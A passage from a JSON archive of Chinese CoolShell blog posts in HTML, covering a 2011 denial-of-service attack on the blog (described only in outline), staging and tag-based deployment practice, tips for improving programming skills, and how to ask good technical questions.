src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1949.html\"><img alt=\"Web中的省略号\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1949.html\">Web中的省略号</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-17 欢迎攻击酷壳.html",
    "content": "<html><body><p><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\">相信大家都发现昨天下午2011年2月16日，下午从2点到6点，酷壳基本打不开。原因是服务器受到了黑客攻击。从互联网上几乎ping不通服务器（丢包率60%以上，ping时延巨大，是平时的10倍以上），我勉强登上服务器查看了系统负载，相当低，于是停止了Apache，发现网络ping马上恢复正常。于是，我启动Apache，再使用iftop查看了一下TCP链接的带宽消耗，发现有那么一两个链接把服务器带宽全部吃完，于是我记录了下IP地址。攻击在下午6点时准停止，就像我们正常下班一样。</span></span></p>\n<p><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\">酷壳受到很多攻击，不过，基本上都是一些注入式的攻击，都是想取得一些权限的攻击。这是第一次受到不以取得权限为目的，而只在以影响酷壳正常运转的攻击。</span></span></p>\n<p><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\">我不竟想到了几个问题：</span></span></p>\n<ol>\n<li><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\">为什么要攻击？这只是一个技术blog，这样的攻击目的是什么？</span></span></li>\n<li><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\">黑客攻击的背后总是有相关的利益冲突的，不会是没有动机的攻击。</span></span></li>\n</ol>\n<p><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\">所以，我一直在想，是什么样的利益冲突导到酷壳被攻击的？这个BLOG得罪了谁呢？我这个小小的个人的BLOG触动了谁的利益呢？任何事情总是有因果关系的，我很不自然地想到了最近我发布的几篇文章……</span></span></p>\n<p><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\">欢迎攻击酷壳！我很乐意看到某些人生气的样子。</span></span></p>\n<p><span style=\"font-size: 11pt;\"><span style=\"color: #800000;\"><span id=\"more-3686\"></span><br/>\n</span></span></p>\n<blockquote cite=\"#commentbody-30044\"><p><strong><a href=\"#comment-30044\">陈皓</a> :</strong></p>\n<p>谢谢大家的关心。没关系，攻击就攻击吧，攻击这里没有任何的价值。因为，</p>\n<ul>\n<li>我这里又不挣钱，我个人也没钱，这个网站又没有什么商业运作，我也不图利，所以从这图利是图不到的。</li>\n<li>这里的文章RSS输出到很多地方，如GR，douban，有道，鲜果，抓虾……，就算是这里不能正常运转，也不妨碍大家阅读文章。</li>\n</ul>\n<p>所以，<strong>黑客同学，你即不能从这里获利，也不能阻止大家看文章，更不能左右大家的想法。而且黑客行为是刑事犯罪，你即得不到任何好处，还要背上那么大的风险，何必呢？</strong>（我相信黑客同学既然有智商能够使用黑客技术，那一定有智商搞清楚这个问题）</p></blockquote>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8031.html\"><img alt=\"InfoQ的ArchSummit大会对我的采访\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8031.html\">InfoQ的ArchSummit大会对我的采访</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3335.html\"><img alt=\"Groovy是怎么实现createArray的\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3335.html\">Groovy是怎么实现createArray的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3480.html\"><img alt=\"一些有意思的网站和贴子\" height=\"150\" src=\"../wp-content/uploads/2011/01/OB-LP754_bestjo_D_20110104181820-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3480.html\">一些有意思的网站和贴子</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2376.html\"><img alt=\"McAfee误杀svchost.exe\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2376.html\">McAfee误杀svchost.exe</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1525.html\"><img alt=\"GDB 7.0 发布\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1525.html\">GDB 7.0 发布</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3686.html\">欢迎攻击酷壳</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-20 预发布环境,Tag发布机制和可重复的部署过程.html",
    "content": "<html><body><p><span style=\"font-size: 11pt;\"><strong>下面文章由网友<a href=\"http://blog.lvscar.info/\" target=\"_blank\">吕毅</a>投递，源文是：<a href=\"http://blog.lvscar.info/?p=427\" target=\"_blank\">http://blog.lvscar.info/?p=427</a></strong></span></p>\n<p>—————————————————————————————————————————————</p>\n<p>周末聚会，无意间聊起建筑行业。自己是搞软件开发的，我们的行业从建筑设计/施工过程中借鉴了大量的概念，隐喻，名词。可以说软件就是现实中伴随整个人类历史发展的“建筑”在虚拟空间中的投影。有个两年前问过其他朋友的问题，这次友人又再次提起，“为什么建筑设计过程中没有普遍性的采用版本控制呢？” 瞎扯了一干各种原因后，我们几乎同时想到一个名字”Joel”，建筑设计行业或许缺乏像<a href=\"http://www.joelonsoftware.com/\">Joel Spolsky</a>一样十数年如一日，把自己丰富的经验和深入的思考转化成一篇篇文章以向新人传授软件开发过程中那些容易被忽略的概念。高傲的黑客们会对CMMI之类的认证抱以鄙夷之情，但对Joel整理出的12条写出更好软件的”最佳实践”，大家甚至把此称为审视其他团队开发过程的<a href=\"http://www.joelonsoftware.com/articles/fog0000000043.html\">“Joel TEST”</a>以推崇</p>\n<p>这12条测试如下:</p>\n<blockquote><p>1. 是否启用版本控制？</p>\n<p>2. 是否可以一步构建?</p>\n<p>3. 是否进行每日构建？</p>\n<p>4. 是否有bug跟踪列表？</p>\n<p>5. 是否在修改bug后，才开始写新代码？</p>\n<p>6. 是否及时更新工作计划？</p>\n<p>7. 是否在开发前编写了大家一致认可的功能文档？</p>\n<p>8. 是否有安静的工作环境？</p>\n<p>9. 是否在使用最好的软件开发工具？</p>\n<p>10.是否有专职测试人员？</p>\n<p>11.是否在面试时以实际编写代码来检查求职者？</p>\n<p>12.是否利用陌生人进行可用性测试？</p></blockquote>\n<p>你所在的团队符合其中的几条呢？  觉得这些条目太一般，软件开发原本就该如此？ Joel Test写于十年前，一个Windows XP，Mac OS X,Ubuntu都还没有面世的年代。 如果你觉得这些条目有些过时了，Google中搜索“Joel  Test”，你可以看到这十年内很多对此进行更新的尝试, 比如这两个页面<a href=\"http://geekswithblogs.net/btudor/archive/2009/06/16/132842.aspx\">“The Joel Test  Update for   2010″</a>,<a href=\"http://allinthehead.com/retro/228/\">“Joel  Test  for  web dev”</a>.</p>\n<p><span id=\"more-3709\"></span></p>\n<p>我的主要工作集中在”Web/Mobile  Web”领域，在”Joel Test”写就的年代，Web技术仅仅是一些用记事本就能写出的Html页面。但到了今天，到了经历过BS浪潮,后端编程语言井喷涌现，Ajax和HTML5变得人人皆知的今天。Web技术已经变成了一个由N种后端技术*N种开发语言/框架*N种前端技术交织起来的复杂体系。Web 程序员们觉得Joel开出的列表仍然有价值,那是因为我们的大部分工作仍然延续着上一代程序员们开创的轨迹；我们仍然在通过程序代码释创造力同时避免BUG的出现;我们仍然得谨慎的在强大,华丽与高效之间做着权衡. 相比客户端,Web技术最大的优势在于部署成本的节省,我们的程序和Joel年代最大的区别也在于此。这一年来新的工作岗位让我学到了很多,部署过程正是其中我觉得最值得和大家分享的部分.</p>\n<p>下面这个列表来自前阵子看到的一篇很好的文章<a href=\"http://www.kalzumeus.com/2010/12/12/staging-servers-source-control-deploy-workflows-and-other-stuff-nobody-teaches-you/\">Staging Servers, Source Control &amp; Deploy Workflows, And Other Stuff Nobody Teaches You</a>,标题中的列出的三项和我的体会高度吻合,下面我会对他们一一做出自己的诠释</p>\n<blockquote><p>1.是否采用了预发布环境</p>\n<p>2.是否以Tag作为发布单位</p>\n<p>3.是否让部署过程是可重复的</p></blockquote>\n<div>\n<h3>是否采用了预发布环境</h3>\n<p>关于测试驱动开发的鼓吹中,”免除对代码修改的恐惧”十分具有诱惑力.我们都不喜欢功能逐渐丰富过程中冷不防出现的各种BUG,这些BUG打乱我们的计划,破坏我们的心情,从而让我们对开发新功能的旅程心存恐惧.TDD的最大魅力也来自于通过测试先行来保证后续的功能扩展相对于预期是可验证的. 不过无论你的WEB开发过程是怎样的,最终的代码和内容还是要通过发布来送达到用户浏览器中,你可以对PK需求,修改BUG,延长加班毫无畏惧,但你不能忽略用户体验.代码一旦部署到正式环境上,对你工作的评判不再是项目组中关心你,体谅你的同事.而是千万对错误零容忍的用户. 在发布前你已经做过周全的测试? 新增的每一项功能已经测试过? 很好.不过是在你的开发环境或某处偏僻的”测试环境”中? 服务器OS不一样,Web Server有差别,缓存服务未启用,APP容器或解释器,数据库版本有差别,没接通第三方API, 这所有的一切都可能会造成发布后,你自己或用户刷新网站后的那声”What The fuck?”, 我想这应该是较之修改BUG,你更不想面对的情景吧.</p>\n<p>总的说来,”预发布环境”就等于没有真实用户访问的生产环境, 除了让用户不能访问到外,尽一切可能让这个环境和生产环境一致.每次正式发布时以这个环境为目标,测试流程完成后.把发布内容从这个环境”平移”到生产环境.</p>\n</div>\n<div>\n<h3>是否以Tag作为发布单位</h3>\n<p>从业几年来,”所在团队把SVN当FTP用”是几乎每次朋友们互相吐槽时都能听到的话题,”SVN的分支合并太难用;需要更密切和团队伙伴共享工作内容…”我们可以很轻松的找到不创建功能分支然后进行合并的理由,事实上这么做可能也有一定的”合理性”.但发布时打个Tag,对你的现有开发流程几乎不会带来负担.你不需要切换到<a href=\"http://git-scm.com/\">Git</a>或<a href=\"http://mercurial.selenic.com/\">Mercury</a>,唯一要做的只是在提交后,发布前运行一行svn copy命令,然后在发布目标上用svn switch命令代替svn update来更新代码.只有一点需要注意,创建Tag的svn copy命令的目标最好是一个新的SVN仓库地址(新Tag路径),而不是本地目录.这么做的理由是当以仓库路径作为svn copy目标时,不会产生文件拷贝,而以本地路径为目标执行时,会发生文件拷贝,如果项目包含很多文件,这个过程会较为漫长.如果想避免本地打tag时的文件拷贝,你可切换到分布式版本控制系统.</p>\n<p>这么做的好处也是明显的,虽然我们已经通过预发布环境规避了大部分发布环境可能引入的问题.但当那”万一”发生时.你能够以最快的速度切换到上一次发布时的状态.通常可以通过”$svn switch [上次发布Tag的SVN路径]“一行命令搞定.</p>\n</div>\n<div>\n<h3>是否让部署过程是可重复的</h3>\n<p>如果你所在的团队对开发和运维工作进行了严格切分,这不会是一个问题.但不是所有项目都会到这个规模,如果你是一个幸福的能变更生产环境的Web程序员,请千万小心,你对生产环境的每次调整/优化,都可能让项目部署过程变得不可重复.随着时间的推移,你会忘记当时的配置项.一旦项目需要扩容,恢复,移交.这过程都可能演变成灾难.</p>\n<p>上面提到那篇文章中,提倡用部署脚本来管理部署过程.这是很好的解决方法,但如果你暂时缺乏系统脚本编程能力.分门别类把每次环境配置过程记录清楚吧,就当这项工作要在你不在场的情况下被别人重复执行.</p>\n</div>\n<p>别人说我们是”码农”,我们要把自己当工程师.<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7657.html\"><img alt=\"持续部署，并不简单！\" height=\"150\" src=\"../wp-content/uploads/2012/06/hudsonCI2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7657.html\">持续部署，并不简单！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2936.html\"><img alt=\"Mozilla的一个BUG\" height=\"150\" src=\"../wp-content/uploads/2010/09/Mozilla-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2936.html\">Mozilla的一个BUG</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9308.html\"><img alt=\"“作环保的程序员，从不用百度开始”\" height=\"150\" src=\"../wp-content/uploads/2013/03/01-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9308.html\">“作环保的程序员，从不用百度开始”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1998.html\"><img alt=\"粉丝眼中的操作系统\" height=\"150\" src=\"../wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1998.html\">粉丝眼中的操作系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3445.html\"><img alt=\"输出从1到1000的数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3445.html\">输出从1到1000的数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/909.html\"><img alt=\"7个免费强大的Ajax文件管理器\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/909.html\">7个免费强大的Ajax文件管理器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3709.html\">预发布环境,Tag发布机制和可重复的部署过程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-21 提高编程技能最有效的方法.html",
    "content": "<html><body><p>StackExchange.com上有两个贴子（<a href=\"http://programmers.stackexchange.com/questions/3089/what-is-the-single-most-effective-thing-you-did-to-improve-your-programming-skill\" target=\"_blank\">贴子一</a>，<a href=\"http://programmers.stackexchange.com/questions/44177/what-is-the-single-most-effective-thing-you-did-to-improve-your-programming-skill\" target=\"_blank\">贴子二</a>），贴子名叫“What is the single most effective thing you did to improve your programming skills?” – 对你的编程技术提高最有效的一件事是什么？回复的人中给了很多很不错的建议，我把他们总结了一下，十条，相信一定会对你有用。（注意：顺序是我自己按我的个人经验排的）</p>\n<ul>\n<li>和比自己聪明的能力比自己强的人工作。学习他们的代码，他们的做事方法，看一看那些人是怎么处理错误的。</li>\n</ul>\n<ul>\n<li>总是倾听别人怎么说，无论那个的资历和职位是什么样的。</li>\n</ul>\n<ul>\n<li>实践，实践，实践，总是不满意于一开始出来的事。</li>\n</ul>\n<ul>\n<li>多问问自己，现在在写什么代码？为什么要这样写成这样？还有没有更好的方法？</li>\n</ul>\n<ul>\n<li>学习多样的技术，多多比较他们，并一定要了解各种技术的优缺点。</li>\n</ul>\n<ul>\n<li>总是问别人问好的问题。</li>\n</ul>\n<ul>\n<li>多回头看看走过的路，做过的事，写过的程序，感觉一下他们有多烂。</li>\n</ul>\n<ul>\n<li>多读读那些大师写的书。</li>\n</ul>\n<ul>\n<li>不要总坐在电脑前编程序，多做做运动，多到户外走走，和非技术人多接触，向他们学习。</li>\n</ul>\n<ul>\n<li>把你的想法说出去，看看别人怎么回应的。从别人的回应中学习。</li>\n</ul>\n<p>除了这些，下面是我个人想给你的建议——</p>\n<p><span id=\"more-3698\"></span><br/>\n可能只能算精神，不能算方法。我以前也写过《<a href=\"https://coolshell.cn/articles/2606.html\" rel=\"bookmark\" target=\"_blank\">五个方法成为更好的程序员</a>》，《<a href=\"https://coolshell.cn/articles/2424.html\" rel=\"bookmark\" target=\"_blank\">十条不错的编程观点</a>》，还有《<a href=\"https://coolshell.cn/articles/222.html\" rel=\"bookmark\" target=\"_blank\">优秀程序员的十个习惯</a>》这几篇文章也能给你一些启发。</p>\n<ul>\n<li><span style=\"font-size: 11pt;\"><strong>热情</strong></span>。对编程充满热情。这种热情会导致强烈地专研精神，和努力的精神。<strong>专研精神相当重要，它是畏难情绪的天敌</strong>。</li>\n</ul>\n<ul>\n<li><span style=\"font-size: 11pt;\"><strong>知道</strong></span>。学习技术要“知其道，明其理”，而不仅仅只是了解知识。举例，为什么C++有“初始化例表”而Java却没有？为什么Java的没有多重继承？为会有了TCP还要UDP？对于一个事物，什么是好的，什么是不好的。不但要了解其表面，还要了解其思想。<strong>只有了解原始的初衷和目的，你才能真正“知道”</strong>。</li>\n</ul>\n<ul>\n<li><span style=\"font-size: 11pt;\"><strong>犯错</strong></span>。不犯错误永远没有经验，从自己的错误和别人的错误中学习，只有自己犯了错，才会真正明白。犯错不可怕，可怕的是不会总结只有真正的摸爬滚打过的人才是强人。<strong>技能和经验总是用错误去换来的</strong>。</li>\n</ul>\n<ul>\n<li><span style=\"font-size: 11pt;\"><strong>回顾</strong></span>。要多去回顾过去，看看历史上发生过的事。这样你才能明白事物的发展规律，从面才能了解未来的路。举例：单机 -&gt; Client/Server -&gt; 中间应用层 -&gt; 多层结构 -&gt; 分布式结构。 C -&gt; C++ -&gt; Java，等等，等等。<strong>未来其实就在回顾过去之中</strong>。</li>\n</ul>\n<ul>\n<li><span style=\"font-size: 11pt;\"><strong>质疑</strong></span>。质疑精神很重要。质疑通常会导致不同意见甚至反对意见。也许你会质疑错，也许你会被质疑，但是你的认知也会因为不同的观点而变得完整。有所同有所不同（“同”为同意及相同），<strong>观点因为不同才能迸发出火花，事物也此而发展，世界因为不同而精彩</strong>。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3698.html\">提高编程技能最有效的方法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-22 你会问问题吗？.html",
    "content": "<html><body><p>在工作和生活中，总是会有很多人问题我很多技术方面的问题。有一些时候，问问题的和答问题的总是会有一些不爽的事情发生。如下面的几种情况：</p>\n<ul>\n<li>比如：“我的电脑老是蓝屏，怎么办？”，通常这样的问题90%以上的回答是：“重装吧”。这让问问题的人感到很沮丧，但你不能不承认那不是答案。而且有时候让人无法解答，比如：“我的makefiel出错了，你帮我看看我的makfile”，我通常会非反问，报了什么错吗？</li>\n<li>另一种情况是，回答问题的人首先先对问问题的人的抱怨，你问的问题就不对，或是，你问的这个问题是什么意思，而导致问问题的人却在不停地解释，结果花了好长时间来讨论问题本身是什么。</li>\n<li>还有一种情况是，问的问题太简单了甚至太白痴了，比如你自己试一试或是读读文档就知道了的问题，或是问这个问题直接表明了你的无知或是懒惰。这种问题会相当影响别人对你的印象。</li>\n<li>第四种情况是，提问者滔滔不绝，扯这扯那，讲了一大堆，听得听累了。最后都不知道你要干什么。</li>\n</ul>\n<p>所以，怎么去问问题，怎么问一个好的问题，是一个很重要的事。你提问的技术直接关系到了你是否能够很快得到你满意的答案。</p>\n<p>这里有一篇文章推荐给大家《<a href=\"http://www.catb.org/~esr/faqs/smart-questions.html\" rel=\"noopener noreferrer\" target=\"_blank\">How To Ask Questions The Smart Way</a>》，中文版在这里《<a href=\"https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way\" rel=\"noopener noreferrer\" target=\"_blank\">提问的智慧</a>》，我把其中的几个亮点总结如下：</p>\n<p><span id=\"more-3713\"></span></p>\n<ul>\n<li>提问前先自己尝试查找答案，读读文档、手册，看看有没有相似的问题，看看那些方法能不能帮你解决问题，自己去试一试。如果你是程序员，你应该先学会自己调查一下源代码。（不然，人家回答你的一定是——RTFM – Read The Fucking Manual）这样的问题很多。我有时候很不愿意回答这样的问题，因为我觉得问问题的人把我当成了他的小跟班了。</li>\n</ul>\n<ul>\n<li>提问的时候，找正确的人或是正确的论坛发问。向陌生人或是不负责的人提问可能会是很危险的。不正确的人，会让你事倍功半。如果你问Linux的人Windows太慢怎么办？他们一定会让你把Windows删了装Linux去的。</li>\n</ul>\n<ul>\n<li>问的问题一定要是很明确的，并且阐述你做了哪些尝试，你一定要简化你的问题，这样可以让你的问题更容易被回答。对于一些问题，最好提供最小化的重现问题的步骤。</li>\n</ul>\n<ul>\n<li>你一定要让问题变得简单易读，这和写代码是一样的。只有简单易读的邮件，人们才会去读，试想看到一封巨大无比的邮件，读邮件的心情都没有了。而且，内容越多，可能越容易让人理解错了。</li>\n</ul>\n<ul>\n<li>你问问题的态度应该是以一种讨论的态度，即不是低三下四，也不是没有底气。只有这样，你和你的问题才能真正被人看得起。要达到这个状态，不想让别人看不起你，你就一定需要自己去做好充足的调查。问题 问得好的话，其实会让人觉得你很有经验的，能想到别人想不到的地方。</li>\n</ul>\n<ul>\n<li>不要过早下结论。比如：“我这边的程序不转了，我觉得是你那边的问题，你什么时候能fix？”，或是“太难调试了，gdb怎么这么烂？！”。当你这么做的时候，你一定要有足够的信息和证据，否则，你就显得很自大。好的问题应该是，“我和你的接口的程序有问题，我输入了这样的合法的参数，但是XX函数却总是返回失败，我们能一起看看吗？”，“我看了一下gdb的文档，发现我在用XXX命令调试YYY的时候，有这样ZZZ的问题，是不是我哪里做错了？”</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10804.html\"><img alt=\"X-Y Problem\" height=\"150\" src=\"../wp-content/uploads/2013/12/x-y.problem-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10804.html\">X-Y Problem</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" 